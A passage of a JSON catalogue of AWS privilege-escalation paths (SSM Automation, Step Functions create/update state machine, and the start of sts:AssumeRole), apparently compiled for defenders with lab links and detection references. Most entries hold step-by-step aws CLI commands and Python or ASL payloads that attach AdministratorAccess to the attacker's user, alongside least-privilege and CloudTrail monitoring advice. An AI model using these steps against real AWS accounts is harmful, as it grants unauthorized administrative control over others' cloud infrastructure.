          "description": "Verify that AdministratorAccess is now attached to the starting user, confirming privilege escalation success."
        }
      ]
    },
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative SSM Automation roles** - Very rarely does an SSM Automation document need administrative IAM access. Use the principle of least privilege and scope Automation roles to only the specific resources and actions the document legitimately requires.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services. Use IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificAutomationRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"ssm.amazonaws.com\"\n    }\n  }\n}\n```\n\n- **Restrict `ssm:CreateDocument`** - This permission allows creating arbitrary Automation documents with `aws:executeScript` steps that run any Python code under the passed role. Restrict it to trusted infrastructure principals only.\n- **Restrict `ssm:StartAutomationExecution`** - Starting an automation with a privileged `AutomationAssumeRole` is the point where the `iam:PassRole` is exercised. Use resource-level conditions to restrict which documents and roles can be used.\n- Monitor CloudTrail for `ssm:CreateDocument` calls with document type `Automation`, especially from principals who don't normally create SSM documents\n- Monitor CloudTrail for `ssm:StartAutomationExecution` calls that specify a privileged `AutomationAssumeRole`\n- Monitor CloudTrail for roles being passed to SSM that haven't been used with Automation before\n- Alert on IAM policy attachment events originating from SSM Automation execution roles\n- Regularly audit all IAM roles that trust ssm.amazonaws.com and down-scope any with administrative access\n",
    "limitations": "This path provides administrative access only if the passed AutomationAssumeRole has administrative permissions (e.g., AdministratorAccess or an equivalent custom policy). If only limited roles are available to pass, the attacker gains access limited to those role permissions. Even limited access may enable multi-hop attacks. This is one of the most serverless and infrastructure-free PassRole escalation paths \u2014 unlike EC2, Lambda, or Batch, it requires no container image, no function code deployment, no job queue, and no running compute resources beyond the Automation execution itself.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Rodrigo Montoro",
        "organization": "Cloud Village at DEF CON",
        "date": "2025",
        "link": "https://www.youtube.com/watch?v=rnizpZbKyKo"
      }
    },
    "references": [
      {
        "title": "Using scripts in runbooks (aws:executeScript) - AWS Systems Manager (AWS Documentation)",
        "url": "https://docs.aws.amazon.com/systems-manager/latest/userguide/automation-document-script-considerations.html"
      },
      {
        "title": "Actions defined by AWS Systems Manager - Service Authorization Reference",
        "url": "https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonsystemsmanager.html"
      },
      {
        "title": "Setting up Automation - AWS Systems Manager (AWS Documentation)",
        "url": "https://docs.aws.amazon.com/systems-manager/latest/userguide/automation-setup.html"
      }
    ],
    "relatedPaths": [
      "ssm-001",
      "ssm-002"
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/ssm-003-ssm-createdocument+ssm-startautomationexecution",
        "description": "Deploy Terraform scenarios individually or in groups, each with attack and cleanup scripts"
      }
    },
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/c610d9ac3157a8ffd3ca43353febc5817e50fb86/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L426"
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with `iam:PassRole`, `ssm:CreateDocument`, and `ssm:StartAutomationExecution` permissions. Can be an IAM user or role. This is one of the most infrastructure-free PassRole paths \u2014 no EC2, container, or job queue is needed."
        },
        {
          "id": "ssm_document",
          "label": "SSM Automation Document",
          "type": "resource",
          "description": "A custom SSM Automation document (schema version 0.3) created with an `aws:executeScript` step containing embedded Python. The document declares an `AutomationAssumeRole` parameter and references it in the top-level `assumeRole` field, which instructs SSM to assume the passed role for all steps in the execution. No S3 script bucket or external code storage is needed \u2014 the Python is embedded inline in the document JSON."
        },
        {
          "id": "admin_role",
          "label": "Admin Role (AutomationAssumeRole)",
          "type": "principal",
          "description": "The IAM role passed as `AutomationAssumeRole` when the automation execution starts. The role must trust `ssm.amazonaws.com`. SSM assumes this role before running any steps, making its credentials available to the `aws:executeScript` Python runtime. The boto3 client in the Python script automatically uses these credentials."
        },
        {
          "id": "python_script",
          "label": "aws:executeScript (Python)",
          "type": "payload",
          "color": "#99ccff",
          "description": "The embedded Python function that runs in AWS-managed serverless compute under the admin role's credentials. The `aws:executeScript` action type handles all compute provisioning \u2014 there is no EC2 instance, Lambda function, or container to manage.\n\nThe script calls `iam:AttachUserPolicy` to attach AdministratorAccess to the starting user:\n```python\nimport boto3\ndef script_handler(events, context):\n    iam = boto3.client('iam')\n    iam.attach_user_policy(\n        UserName=events['UserName'],\n        PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'\n    )\n    return {'Status': 'Escalated ' + events['UserName']}\n```\n\nThe execution is started with:\n```bash\naws ssm start-automation-execution \\\n  --document-name privesc-ssm-doc \\\n  --parameters '{\n    \"AutomationAssumeRole\": [\"arn:aws:iam::ACCOUNT_ID:role/ADMIN_ROLE\"],\n    \"UserName\": [\"STARTING_USER\"]\n  }'\n```\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "The passed role has AdministratorAccess or equivalent permissions including `iam:AttachUserPolicy`. The Python script successfully attaches AdministratorAccess to the starting user, granting full administrative access to the AWS account. The execution typically completes within 30-90 seconds."
        },
        {
          "id": "some_perms",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "The passed role has some elevated permissions but lacks IAM write access. The Python script can still perform useful actions \u2014 reading S3 data, querying DynamoDB, or accessing other resources \u2014 but cannot directly grant the starting principal new permissions. The specific capabilities depend on the role's policy."
        },
        {
          "id": "no_perms",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "The passed role has only minimal permissions. The Python script cannot perform meaningful escalation or data access. The attack provides limited value despite successfully creating and executing the Automation document."
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "ssm_document",
          "label": "ssm:CreateDocument",
          "description": "Create a custom SSM Automation document with an embedded Python `aws:executeScript` step. The document uses schema version 0.3 and declares the `AutomationAssumeRole` as a parameter, referenced in the top-level `assumeRole` field.\n\nCommand:\n```bash\naws ssm create-document \\\n  --name privesc-ssm-doc \\\n  --content file:///tmp/ssm-privesc-doc.json \\\n  --document-type Automation \\\n  --document-format JSON\n```\n\nThe document JSON embeds the Python script inline \u2014 no external script storage is required.\n"
        },
        {
          "from": "ssm_document",
          "to": "admin_role",
          "label": "iam:PassRole + ssm:StartAutomationExecution",
          "description": "Start the automation execution and pass the admin role as the `AutomationAssumeRole` parameter. The `iam:PassRole` action is exercised at this point. SSM assumes the role before running any document steps.\n\nCommand:\n```bash\naws ssm start-automation-execution \\\n  --document-name privesc-ssm-doc \\\n  --parameters '{\n    \"AutomationAssumeRole\": [\"arn:aws:iam::ACCOUNT_ID:role/ADMIN_ROLE\"],\n    \"UserName\": [\"STARTING_USER\"]\n  }'\n```\n"
        },
        {
          "from": "admin_role",
          "to": "python_script",
          "label": "SSM runs aws:executeScript under admin role",
          "description": "SSM Automation provisions AWS-managed serverless compute to run the `aws:executeScript` step. The execution environment automatically receives the admin role's credentials. The boto3 client in the Python handler uses these credentials without any explicit configuration."
        },
        {
          "from": "python_script",
          "to": "admin",
          "label": "If passed role has admin permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the `AutomationAssumeRole` has AdministratorAccess or specific IAM write permissions (such as `iam:AttachUserPolicy`), the Python script successfully attaches AdministratorAccess to the starting user, completing the privilege escalation."
        },
        {
          "from": "python_script",
          "to": "some_perms",
          "label": "If passed role has some elevated permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the `AutomationAssumeRole` has elevated permissions but lacks IAM write access, the Python script can leverage those permissions for data access or reconnaissance, but cannot directly grant the starting principal new permissions."
        },
        {
          "from": "python_script",
          "to": "no_perms",
          "label": "If passed role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the `AutomationAssumeRole` has only minimal permissions, the Python script cannot perform meaningful actions. The attack provides limited value despite the execution completing successfully."
        }
      ]
    },
    "gitMetadata": {
      "created": "2026-06-01T00:01:57Z",
      "lastUpdated": "2026-08-04T11:07:33Z",
      "contributors": [
        {
          "name": "Daniel Barranquero",
          "email": "daniel@prowler.com",
          "githubUsername": "danibarranqueroo"
        },
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        }
      ]
    },
    "filePath": "data/paths/ssm/ssm-003.yaml"
  },
  {
    "id": "stepfunctions-001",
    "name": "iam:PassRole + states:CreateStateMachine + states:StartExecution",
    "category": "new-passrole",
    "services": [
      "iam",
      "stepfunctions"
    ],
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Must be able to pass the target admin IAM role to the Step Functions service"
        },
        {
          "permission": "states:CreateStateMachine",
          "resourceConstraints": "No resource constraints required"
        },
        {
          "permission": "states:StartExecution",
          "resourceConstraints": "No resource constraints required"
        }
      ],
      "additional": [
        {
          "permission": "states:DescribeExecution",
          "resourceConstraints": "Useful for polling execution status to confirm the attack succeeded"
        },
        {
          "permission": "states:DescribeStateMachine",
          "resourceConstraints": "Useful for verifying the state machine was created with the correct definition"
        },
        {
          "permission": "iam:ListAttachedUserPolicies",
          "resourceConstraints": "Useful for verifying privilege escalation success"
        }
      ]
    },
    "description": "A principal with `iam:PassRole`, `states:CreateStateMachine`, and `states:StartExecution` can escalate privileges by creating a Step Functions state machine that uses an admin IAM role and contains an ASL (Amazon States Language) definition with an SDK integration step that calls `iam:AttachUserPolicy`. Starting an execution causes Step Functions to run the definition as the passed admin role, attaching AdministratorAccess to the starting user.",
    "prerequisites": {
      "admin": [
        "A role must exist that trusts states.amazonaws.com to assume it",
        "The role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)"
      ],
      "lateral": [
        "A role must exist that trusts states.amazonaws.com and has elevated permissions"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "cat > /tmp/sfn-privesc-def.json << 'EOF'\n{\n  \"Comment\": \"Privilege escalation via Step Functions SDK integration\",\n  \"StartAt\": \"AttachAdminPolicy\",\n  \"States\": {\n    \"AttachAdminPolicy\": {\n      \"Type\": \"Task\",\n      \"Resource\": \"arn:aws:states:::aws-sdk:iam:attachUserPolicy\",\n      \"Parameters\": {\n        \"UserName\": \"STARTING_USER\",\n        \"PolicyArn\": \"arn:aws:iam::aws:policy/AdministratorAccess\"\n      },\n      \"End\": true\n    }\n  }\n}\nEOF\n",
          "description": "Create the malicious ASL definition. The state machine uses the Step Functions SDK integration to call iam:AttachUserPolicy directly \u2014 no Lambda function required."
        },
        {
          "step": 2,
          "command": "aws stepfunctions create-state-machine \\\n  --name privesc-sfn \\\n  --definition file:///tmp/sfn-privesc-def.json \\\n  --role-arn arn:aws:iam::ACCOUNT_ID:role/ADMIN_ROLE \\\n  --type STANDARD\n",
          "description": "Create the state machine, passing the admin role via iam:PassRole. Step Functions will use this role when executing the state machine definition."
        },
        {
          "step": 3,
          "command": "aws stepfunctions start-execution \\\n  --state-machine-arn STATE_MACHINE_ARN\n",
          "description": "Start an execution of the state machine. Step Functions runs as the admin role and calls iam:AttachUserPolicy, granting AdministratorAccess to the starting user."
        },
        {
          "step": 4,
          "command": "aws stepfunctions describe-execution \\\n  --execution-arn EXECUTION_ARN \\\n  --query 'status' \\\n  --output text\n",
          "description": "Poll execution status until it reaches SUCCEEDED, confirming the privilege escalation has completed."
        }
      ]
    },
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative Step Functions roles** - Very rarely does a state machine need administrative access. Use the principle of least privilege and scope state machine roles to only the specific AWS APIs the state machine legitimately calls.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services. Use IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificStepFunctionsRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"states.amazonaws.com\"\n    }\n  }\n}\n```\n\n- **Restrict `states:CreateStateMachine`** - This permission lets any holder define arbitrary state machine workflows with any role. Restrict it to trusted CI/CD principals only.\n- Monitor CloudTrail for unusual state machine creation followed by immediate execution\n- Monitor CloudTrail for state machine creation by principals who do not usually create state machines\n- Monitor CloudTrail for roles being passed to Step Functions that haven't been used before\n- Monitor and alert on state machine creation with privileged roles\n- Regularly audit state machines for excessive IAM permissions on their execution roles\n- Regularly audit all IAM roles that trust states.amazonaws.com and down-scope any with administrative access\n",
    "limitations": "This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess or an equivalent custom policy). If only limited roles are available to pass, the attacker gains access limited to those role permissions. Even limited access may enable multi-hop attacks.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Zander Mackie",
        "organization": "Datadog",
        "date": "2025"
      }
    },
    "references": [
      {
        "title": "Actions defined by AWS Step Functions - Service Authorization Reference",
        "url": "https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsstepfunctions.html"
      },
      {
        "title": "Creating an IAM role for your state machine - AWS Step Functions",
        "url": "https://docs.aws.amazon.com/step-functions/latest/dg/procedure-create-iam-role.html"
      }
    ],
    "relatedPaths": [
      "stepfunctions-002"
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/stepfunctions-001-iam-passrole+states-createstatemachine+states-startexecution",
        "description": "Deploy Terraform scenarios individually or in groups, each with attack and cleanup scripts"
      }
    },
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/c610d9ac3157a8ffd3ca43353febc5817e50fb86/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L432"
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with `iam:PassRole`, `states:CreateStateMachine`, and `states:StartExecution` permissions. Can be an IAM user or role."
        },
        {
          "id": "state_machine",
          "label": "New Step Functions State Machine",
          "type": "resource",
          "description": "A new state machine created with a malicious ASL (Amazon States Language) definition. The definition contains a Task state using a Step Functions SDK integration that calls `iam:AttachUserPolicy` directly \u2014 no Lambda function required. The state machine is passed the admin role via `iam:PassRole` at creation time, so every execution runs under that role's identity.\n\nExample malicious ASL definition:\n```json\n{\n  \"Comment\": \"Privilege escalation via Step Functions SDK integration\",\n  \"StartAt\": \"AttachAdminPolicy\",\n  \"States\": {\n    \"AttachAdminPolicy\": {\n      \"Type\": \"Task\",\n      \"Resource\": \"arn:aws:states:::aws-sdk:iam:attachUserPolicy\",\n      \"Parameters\": {\n        \"UserName\": \"STARTING_USER\",\n        \"PolicyArn\": \"arn:aws:iam::aws:policy/AdministratorAccess\"\n      },\n      \"End\": true\n    }\n  }\n}\n```\n"
        },
        {
          "id": "admin_role",
          "label": "Admin Role (Passed to State Machine)",
          "type": "principal",
          "description": "The IAM role passed to the state machine via `iam:PassRole`. Must have a trust policy allowing `states.amazonaws.com` to assume it. Every state machine execution assumes this role, meaning any SDK integration calls in the ASL definition are made using this role's permissions."
        },
        {
          "id": "admin_outcome",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "The passed role has AdministratorAccess or equivalent permissions. The state machine execution successfully calls `iam:AttachUserPolicy`, attaching AdministratorAccess to the starting user."
        },
        {
          "id": "some_perms",
          "label": "Elevated Access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "The passed role has elevated permissions but not full admin. The attacker can craft ASL definitions that leverage those specific permissions \u2014 for example, reading secrets, exfiltrating S3 data, or creating resources \u2014 but cannot directly attach administrator policies."
        },
        {
          "id": "no_perms",
          "label": "Minimal Access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "The passed role has only minimal permissions. The state machine execution may succeed but accomplishes nothing useful for privilege escalation. The attacker gains no meaningful additional access."
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "state_machine",
          "label": "iam:PassRole + states:CreateStateMachine + states:StartExecution",
          "description": "Create the malicious state machine and immediately start an execution. The `iam:PassRole` permission is exercised at creation time when specifying `--role-arn`.\n\nStep 1 \u2014 Write the malicious ASL definition:\n```bash\ncat > /tmp/sfn-privesc-def.json << 'EOF'\n{\n  \"Comment\": \"Privilege escalation via Step Functions SDK integration\",\n  \"StartAt\": \"AttachAdminPolicy\",\n  \"States\": {\n    \"AttachAdminPolicy\": {\n      \"Type\": \"Task\",\n      \"Resource\": \"arn:aws:states:::aws-sdk:iam:attachUserPolicy\",\n      \"Parameters\": {\n        \"UserName\": \"STARTING_USER\",\n        \"PolicyArn\": \"arn:aws:iam::aws:policy/AdministratorAccess\"\n      },\n      \"End\": true\n    }\n  }\n}\nEOF\n```\n\nStep 2 \u2014 Create the state machine, passing the admin role:\n```bash\naws stepfunctions create-state-machine \\\n  --name privesc-sfn \\\n  --definition file:///tmp/sfn-privesc-def.json \\\n  --role-arn arn:aws:iam::ACCOUNT_ID:role/ADMIN_ROLE \\\n  --type STANDARD\n```\n\nStep 3 \u2014 Start an execution:\n```bash\naws stepfunctions start-execution \\\n  --state-machine-arn STATE_MACHINE_ARN\n```\n"
        },
        {
          "from": "state_machine",
          "to": "admin_role",
          "label": "State machine assumes admin role (SDK integration)",
          "description": "When `states:StartExecution` triggers an execution, Step Functions runs each state using the role attached to the state machine. The SDK integration task (`arn:aws:states:::aws-sdk:iam:attachUserPolicy`) is executed as the admin role, so the resulting IAM API call carries the admin role's permissions."
        },
        {
          "from": "admin_role",
          "to": "admin_outcome",
          "label": "If role has admin or IAM write permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the passed role has AdministratorAccess or at minimum `iam:AttachUserPolicy`, the SDK integration call succeeds and AdministratorAccess is attached to the starting user. The attacker now has full administrative access."
        },
        {
          "from": "admin_role",
          "to": "some_perms",
          "label": "If role has some elevated permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the passed role has elevated permissions but lacks IAM write access, the `iam:AttachUserPolicy` SDK integration call fails. However, the attacker can redesign the ASL definition to call other APIs the role does have access to \u2014 S3 read, Secrets Manager, EC2, etc. \u2014 and achieve partial escalation or data exfiltration."
        },
        {
          "from": "admin_role",
          "to": "no_perms",
          "label": "If role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the passed role has only minimal permissions (e.g., `logs:PutLogEvents`), neither the `iam:AttachUserPolicy` call nor alternative SDK integrations provide meaningful access. The privilege escalation yields no useful gain."
        }
      ]
    },
    "gitMetadata": {
      "created": "2026-06-01T00:01:57Z",
      "lastUpdated": "2026-08-04T11:07:33Z",
      "contributors": [
        {
          "name": "Daniel Barranquero",
          "email": "daniel@prowler.com",
          "githubUsername": "danibarranqueroo"
        },
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        }
      ]
    },
    "filePath": "data/paths/stepfunctions/stepfunctions-001.yaml"
  },
  {
    "id": "stepfunctions-002",
    "name": "states:UpdateStateMachine + states:StartExecution",
    "category": "existing-passrole",
    "services": [
      "iam",
      "stepfunctions"
    ],
    "permissions": {
      "required": [
        {
          "permission": "states:UpdateStateMachine",
          "resourceConstraints": "Must have access to the target state machine ARN"
        },
        {
          "permission": "states:StartExecution",
          "resourceConstraints": "Must have access to the target state machine ARN"
        }
      ],
      "additional": [
        {
          "permission": "states:ListStateMachines",
          "resourceConstraints": "Helpful for discovering state machines to target"
        },
        {
          "permission": "states:DescribeStateMachine",
          "resourceConstraints": "Useful for viewing the current definition and role ARN of a target state machine"
        },
        {
          "permission": "states:ListExecutions",
          "resourceConstraints": "Helpful for monitoring execution history"
        },
        {
          "permission": "states:DescribeExecution",
          "resourceConstraints": "Useful for polling execution status"
        }
      ]
    },
    "description": "A principal with `states:UpdateStateMachine` and `states:StartExecution` can replace the ASL definition of an existing Step Functions state machine that already has an admin IAM role attached. The attacker supplies a malicious ASL definition using a Step Functions SDK integration that calls `iam:AttachUserPolicy`, then starts a new execution. No `iam:PassRole` is required because the admin role was already assigned to the state machine \u2014 `states:UpdateStateMachine` updates only the definition, not the role.",
    "prerequisites": {
      "admin": [
        "An existing Step Functions state machine must already have an admin IAM role attached as its execution role"
      ],
      "lateral": [
        "An existing Step Functions state machine must have an elevated IAM role attached as its execution role"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws stepfunctions list-state-machines \\\n  --query 'stateMachines[*].{name:name,arn:stateMachineArn}' \\\n  --output table\n",
          "description": "Enumerate existing state machines to identify targets with privileged execution roles attached."
        },
        {
          "step": 2,
          "command": "aws stepfunctions describe-state-machine \\\n  --state-machine-arn STATE_MACHINE_ARN \\\n  --query '{roleArn:roleArn,status:status}' \\\n  --output json\n",
          "description": "Inspect the target state machine to confirm it has a privileged role and is in an ACTIVE state."
        },
        {
          "step": 3,
          "command": "cat > /tmp/sfn-malicious-def.json << 'EOF'\n{\n  \"Comment\": \"Privilege escalation via existing state machine role\",\n  \"StartAt\": \"AttachAdmin\",\n  \"States\": {\n    \"AttachAdmin\": {\n      \"Type\": \"Task\",\n      \"Resource\": \"arn:aws:states:::aws-sdk:iam:attachUserPolicy\",\n      \"Parameters\": {\n        \"UserName\": \"STARTING_USER\",\n        \"PolicyArn\": \"arn:aws:iam::aws:policy/AdministratorAccess\"\n      },\n      \"End\": true\n    }\n  }\n}\nEOF\n\naws stepfunctions update-state-machine \\\n  --state-machine-arn STATE_MACHINE_ARN \\\n  --definition file:///tmp/sfn-malicious-def.json\n",
          "description": "Replace the state machine's definition with malicious ASL that calls iam:AttachUserPolicy. The existing admin role is preserved \u2014 no iam:PassRole required."
        },
        {
          "step": 4,
          "command": "aws stepfunctions start-execution \\\n  --state-machine-arn STATE_MACHINE_ARN\n",
          "description": "Execute the now-malicious state machine. It runs under the pre-existing admin role and attaches AdministratorAccess to the starting user."
        }
      ]
    },
    "recommendation": "- **Restrict `states:UpdateStateMachine`** - This permission allows arbitrary modification of state machine definitions, including swapping in malicious ASL that abuses the machine's existing role. Only trusted CI/CD principals should have this permission.\n- **Audit state machines for privileged execution roles** - Any state machine with an administrative role is a persistent escalation vector for anyone with `states:UpdateStateMachine`. Regularly review and down-scope state machine roles.\n- **Apply least privilege to state machine roles** - Scope state machine execution roles to only the specific AWS APIs the state machine legitimately calls. An admin-scoped state machine role is a standing risk.\n- Monitor CloudTrail for `states:UpdateStateMachine` calls, especially those that change the state machine definition\n- Monitor CloudTrail for state machine definitions containing SDK integration tasks that call sensitive IAM APIs\n- Alert on IAM policy attachment events (`iam:AttachUserPolicy`, `iam:AttachRolePolicy`) originating from Step Functions execution roles\n- Implement AWS Config rules to detect state machines with overly permissive execution roles\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Zander Mackie",
        "organization": "Datadog",
        "date": "2025"
      }
    },
    "references": [
      {
        "title": "Actions defined by AWS Step Functions - Service Authorization Reference",
        "url": "https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsstepfunctions.html"
      },
      {
        "title": "Creating an IAM role for your state machine - AWS Step Functions",
        "url": "https://docs.aws.amazon.com/step-functions/latest/dg/procedure-create-iam-role.html"
      }
    ],
    "relatedPaths": [
      "stepfunctions-001"
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/stepfunctions-002-states-updatestatemachine+states-startexecution",
        "description": "Deploy Terraform scenarios individually or in groups, each with attack and cleanup scripts"
      }
    },
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/c610d9ac3157a8ffd3ca43353febc5817e50fb86/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L438"
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with `states:UpdateStateMachine` and `states:StartExecution` permissions. No `iam:PassRole` is required \u2014 the admin role is already attached to the target state machine."
        },
        {
          "id": "existing_sfn",
          "label": "Existing State Machine (pre-attached admin role)",
          "type": "resource",
          "description": "An existing Step Functions state machine that already has an admin IAM role attached as its execution role. The attacker replaces only the ASL definition \u2014 the role remains unchanged. This is the key distinction from stepfunctions-001: no `iam:PassRole` is needed because the attacker is not assigning a new role, only modifying the workflow definition.\n\nThe attacker first enumerates state machines and inspects their attached roles:\n```bash\naws stepfunctions list-state-machines \\\n  --query 'stateMachines[*].{name:name,arn:stateMachineArn}' \\\n  --output table\n\naws stepfunctions describe-state-machine \\\n  --state-machine-arn STATE_MACHINE_ARN \\\n  --query '{roleArn:roleArn,status:status}' \\\n  --output json\n```\n"
        },
        {
          "id": "admin_role",
          "label": "Pre-existing Admin Role",
          "type": "principal",
          "description": "The IAM role already attached to the target state machine. It trusts `states.amazonaws.com` and has administrative or elevated permissions. Because `states:UpdateStateMachine` does not modify the role assignment, this role is preserved when the attacker swaps in the malicious definition. All subsequent executions run under this role."
        },
        {
          "id": "admin_outcome",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "The pre-existing role has AdministratorAccess or equivalent permissions. The malicious ASL definition's `iam:AttachUserPolicy` SDK integration call succeeds, attaching AdministratorAccess to the starting user."
        },
        {
          "id": "some_perms",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "The pre-existing role has elevated permissions but not full admin. The attacker can craft ASL definitions leveraging whatever the role can do \u2014 reading secrets, accessing S3, interacting with other services \u2014 but cannot directly grant themselves administrator access."
        },
        {
          "id": "no_perms",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "The pre-existing role has only minimal permissions. Replacing the state machine definition and executing it provides no meaningful escalation."
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "existing_sfn",
          "label": "states:UpdateStateMachine + states:StartExecution",
          "description": "Replace the existing state machine's ASL definition with a malicious one, then start an execution. The existing role is preserved throughout \u2014 no `iam:PassRole` is exercised.\n\nStep 1 \u2014 Write the malicious ASL definition and update the state machine:\n```bash\ncat > /tmp/sfn-malicious-def.json << 'EOF'\n{\n  \"Comment\": \"Privilege escalation via existing state machine role\",\n  \"StartAt\": \"AttachAdmin\",\n  \"States\": {\n    \"AttachAdmin\": {\n      \"Type\": \"Task\",\n      \"Resource\": \"arn:aws:states:::aws-sdk:iam:attachUserPolicy\",\n      \"Parameters\": {\n        \"UserName\": \"STARTING_USER\",\n        \"PolicyArn\": \"arn:aws:iam::aws:policy/AdministratorAccess\"\n      },\n      \"End\": true\n    }\n  }\n}\nEOF\n\naws stepfunctions update-state-machine \\\n  --state-machine-arn STATE_MACHINE_ARN \\\n  --definition file:///tmp/sfn-malicious-def.json\n```\n\nStep 2 \u2014 Start an execution:\n```bash\naws stepfunctions start-execution \\\n  --state-machine-arn STATE_MACHINE_ARN\n```\n"
        },
        {
          "from": "existing_sfn",
          "to": "admin_role",
          "label": "State machine runs with pre-existing admin role",
          "description": "Step Functions executes the (now malicious) definition using the role that was already attached to the state machine before the attacker arrived. The SDK integration call in the ASL is made as this pre-existing admin role, giving it the role's full permissions."
        },
        {
          "from": "admin_role",
          "to": "admin_outcome",
          "label": "If role has admin or IAM write permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the pre-existing role has AdministratorAccess or at minimum `iam:AttachUserPolicy`, the SDK integration call succeeds and AdministratorAccess is attached to the starting user."
        },
        {
          "from": "admin_role",
          "to": "some_perms",
          "label": "If role has some elevated permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the pre-existing role has elevated permissions but lacks IAM write access, the attacker can adjust the malicious ASL to call APIs the role does have access to, achieving partial escalation or data access."
        },
        {
          "from": "admin_role",
          "to": "no_perms",
          "label": "If role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the pre-existing role has only minimal permissions, the replaced definition cannot perform useful actions regardless of what SDK integrations the attacker includes."
        }
      ]
    },
    "gitMetadata": {
      "created": "2026-06-01T00:01:57Z",
      "lastUpdated": "2026-08-04T11:07:33Z",
      "contributors": [
        {
          "name": "Daniel Barranquero",
          "email": "daniel@prowler.com",
          "githubUsername": "danibarranqueroo"
        },
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        }
      ]
    },
    "filePath": "data/paths/stepfunctions/stepfunctions-002.yaml"
  },
  {
    "id": "sts-001",
    "name": "sts:AssumeRole",
    "category": "principal-access",
    "services": [
      "sts"
    ],
    "description": "A principal with `sts:AssumeRole` permission can assume IAM roles that trust them in their trust policy. We refer to this as two-way trust, or bidirectional trust. Direction 1 is the forward trust - the starting principal that has `sts:AssumeRole` permission on one or more roles. Direction 2 is the reverse trust - the target role must trust the starting principal to assume it. It's important to remember that if the target role trusts the account `root`, like this `arn:aws:iam::012345678901:root`, this trust extends to all principals in the account and satisfies direction 2. If this bidirectional trust is in place, the starting principal can assume the target role gain access to any elevated permissions by assuming the target role. However there is an edge case, noted in the prerequisites below. If the target role's trust policy trusts the starting principal explicitly, e.g, `arn:aws:iam::012345678901:user/startUser`, and that principal is in the same account as the target role, that principal does not need `sts:AssumeRole` permission. They just can assume the  role without any permissions.",
    "prerequisites": {
      "admin": [
        "A role must exist with administrative permissions (e.g., AdministratorAccess)",
        "The role's trust policy must allow the attacker's principal (user/role) to assume it",
